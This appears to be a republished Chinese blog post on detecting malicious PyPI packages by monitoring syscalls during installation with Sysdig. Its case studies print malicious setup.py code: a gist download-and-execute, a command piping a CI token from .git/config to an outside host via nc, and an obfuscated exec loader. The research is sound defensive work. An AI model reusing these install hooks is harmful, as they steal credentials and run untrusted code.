如何在PyPI上寻找恶意软件包

如何在PyPI上寻找恶意软件包,针对这个问题,这篇文章详细介绍了相对应的分析和解答,希望可以帮助更多想解决这个问题的小伙伴找到更简单易行的方法。

大约一年前,Python软件基金会(Python Software Foundation,RFI)公开了一个信息请求(RFI),讨论的是如何检测上传到PyPI的恶意软件包,这显然是一个影响几乎每个包管理器的实际问题。

事实上,像PyPI这样的包管理器是几乎每个公司都依赖的关键基础设施。这是我感兴趣的一个领域,所以我用我的想法回应我们应该如何去处理这个问题。在这篇文章中,我将详细介绍如何安装和分析PyPI中的每个包,并寻找其中潜在的恶意活动。

如何寻找恶意库

为了在软件包的安装过程中执行任意命令,开发人员通常会将代码添加到代码包里的setup.py文件中,具体可以参考这个【代码库】。

从大的角度来看,我们有两种方法可以找到潜在的恶意依赖组件,即静态分析和动态分析。虽然静态分析非常有趣,但本文主要使用的是动态分析方法。

那么,我们到底要寻找什么呢?

首先我们要知道一点,很多重要的事情都是由内核完成的。一般的程序(例如pip)如果想要让内核来完成某个任务时,一般都是通过使用syscalls,即系统调用完成的。打开文件,建立网络连接,以及执行命令等任务,都是通过系统调用实现的。

这也就意味着,如果我们能在一个Python包的安装过程中监控系统调用的话,那我们就可以去查看任何可疑的事件了。这样做的好处就在于,无论恶意代码经过了多少层混淆处理,我们都可以查看到这些代码实际要做的事情。

现在,我们只要要做的事情就是监控系统调用了,那么我们该如何做呢?

使用Sysdig监控系统调用

实际上,社区已经提供了很多能够帮助我们监控系统调用的工具了。针对我们这个目标,我选择使用的时Sysdig,因为它既能够提供结构化的输出,又能够帮助我们很好地对数据进行过滤。

为了实现这一点,在启动安装包的Docker容器时,我还启动了一个Sysdig进程,该进程只会监视来自该容器的事件。除此之外,我还过滤掉了跟pypi.org或files.pythonhosted.com相关的网络读写操作,因为它们跟我们的目标无关。

现在我们已经有了捕获系统调用的方法,但还有一个不得不解决的问题,即如何获取所有可用PyPI包的完整列表。

获取Python包

幸运的是,PyPI提供了一个名为“Simple API”的API接口,这个接口可以被当作是一个包含了指向每一个软件包链接的大型HTML页面。我们可以爬取这个页面中的信息,并使用pup来对链接进行解析,这样我们就可以拿到大约268000个软件包:

❯ curl https://pypi.org/simple/ | pup 'a text{}' > pypi_full.txt               

 

❯ wc -l pypi_full.txt

  268038 pypi_full.txt

针对我们的实验场景,我们需要的是每一个软件包的最新版本,我们的管道如下:

如何在PyPI上寻找恶意软件包

简而言之,我们将每个包的名称发送到一组EC2实例,它可以从PyPI获取关于包的一些元数据,然后启动sysdig以及一系列容器来通过pip安装包,同时收集系统调用和网络流量。然后,所有的数据都被传送到S3以供后续分析使用。

整个过程如下图所示:

如何在PyPI上寻找恶意软件包

上述操作完成后,我们将在一个S3 Bucket中存储大约1TB的数据,其中包含了大约245000个软件包。我们对元数据和输出进行整理之后,将得到一系列JSON文件:

{

    "metadata": {},

    "output": {

        "dns": [],         // Any DNS requests made

        "files": [],       // All file access operations

        "connections": [], // TCP connections established

        "commands": [],    // Any commands executed

    }

}

然后,我编写了一系列脚本来聚合数据,试图对代码的行为进行分析,让我们深入研究一下结果。

网络请求

软件包在安装过程中需要进行网络连接的原因有很多,它们可能需要下载合法的二进制组件或其他资源,也有可能是在尝试从系统中提取数据或凭证。

我们发现,其中有460包会跟109台单独的主机建立网络连接。正如上面提到的,其中相当一部分是由于软件包共享依赖组件(这些依赖会进行网络连接)的结果。不过,我们可以通过映射依赖关系可以过滤掉这些内容。

命令执行

与网络连接一样,软件包在安装期间运行系统命令也是有正当理由,这里可以是编译本机二进制文件和设置正确的环境等等。纵观我们的示例集,我们发现有60725个包会在安装期间执行命令。就像网络连接一样,我们必须记住,许多连接都是由运行命令的包的下游依赖组件发起的。

有趣的软件包

深入研究结果,大多数网络连接和命令似乎是合法的。但是,我想把一些奇怪的行为作为案例研究,来说明这种分析有多有用。

i-am-malicious

这里,我们发现了一个名叫i-am-malicious的包,它就是一个恶意包。如果大家觉得这个包的名字还不够明显的话,下面的细节也足以证明一切:

{

  "dns": [{

          "name": "gist.githubusercontent.com",

          "addresses": [

            "199.232.64.133"

          ]

    }]

  ],

  "files": [

    ...

    {

      "filename": "/tmp/malicious.py",

      "flag": "O_RDONLY|O_CLOEXEC"

    },

    ...

    {

      "filename": "/tmp/malicious-was-here",

      "flag": "O_TRUNC|O_CREAT|O_WRONLY|O_CLOEXEC"

    },

    ...

  ],

  "commands": [

    "python /tmp/malicious.py"

  ]

}

我们看到,它会跟gist.github.com建立连接,执行一个Python文件,然后创建一个名为“/tmp/malicious-was-here”的文件。果不其然,这些全部都是利用setup.py实现的:

from urllib.request import urlopen

 

handler = urlopen("https://gist.githubusercontent.com/moser/49e6c40421a9c16a114bed73c51d899d/raw/fcdff7e08f5234a726865bb3e02a3cc473cecda7/malicious.py")

with open("/tmp/malicious.py", "wb") as fp:

    fp.write(handler.read())

 

import subprocess

 

subprocess.call(["python", "/tmp/malicious.py"])

maliciouspackage

另一个恶意包甚至直接把名字都改成了maliciouspackage,下面给出的是相关的输出:

{

  "dns": [{

      "name": "laforge.xyz",

      "addresses": [

        "34.82.112.63"

      ]

  }],

  "files": [

    {

      "filename": "/app/.git/config",

      "flag": "O_RDONLY"

    },

  ],

  "commands": [

    "sh -c apt install -y socat",

    "sh -c grep ci-token /app/.git/config | nc laforge.xyz 5566",

    "grep ci-token /app/.git/config",

    "nc laforge.xyz 5566"

  ]

}

这个包似乎能够从“.git/config”文件中提取出令牌,并将其上传至laforge.xyz。通过分析其setup.py,我们可以看到下列内容:

...

import os

os.system('apt install -y socat')

os.system('grep ci-token /app/.git/config | nc laforge.xyz 5566')

easyIoCtl

还有一个名叫easyIoCtl的包,它声称能够抽象化IO操作,但我们发现它会执行下列命令:

[

  "sh -c touch /tmp/testing123",

  "touch /tmp/testing123"

]

这很可疑,但不一定具有恶意性。不过这个例子很好地展示了我们用于跟踪系统调用的方法。下面是该项目的setup.py文件:

class MyInstall():

    def run(self):

        control_flow_guard_controls = 'l0nE@`eBYNQ)Wg+-,ka}fM(=2v4AVp![dR///ZDF9s/x0c~PO%yc X3UK:.w/x0bL$Ijq<&/r6*?/'1>mSz_^C/to#hiJtG5xb8|;/n7T{uH]"r'

        control_flow_guard_mappers = [81, 71, 29, 78, 99, 83, 48, 78, 40, 90, 78, 40, 54, 40, 46, 40, 83, 6, 71, 22, 68, 83, 78, 95, 47, 80, 48, 34, 83, 71, 29, 34, 83, 6, 40, 83, 81, 2, 13, 69, 24, 50, 68, 11]

        control_flow_guard_init = ""

        for controL_flow_code in control_flow_guard_mappers:

            control_flow_guard_init = control_flow_guard_init + control_flow_guard_controls[controL_flow_code]

        exec(control_flow_guard_init)

为了弄清楚这些代码要做的事情,我们可以用print来代替exec,结果如下:

import os;os.system('touch /tmp/testing123')

这就是它索要执行的命令,即使代码经过了混淆处理,也不会影响我们的分析结果,因为我们是在系统调用级别上进行的监控。

关于如何在PyPI上寻找恶意软件包问题的解答就分享到这里了,希望以上内容可以对大家有一定的帮助,如果你还有很多疑惑没有解开,可以关注亿速云行业资讯频道了解更多相关知识。

原创文章,作者:506227337,如若转载,请注明出处:https://blog.ytso.com/225938.html

(0)
上一篇 2022年1月8日
下一篇 2022年1月8日

相关推荐

发表回复

登录后才能评论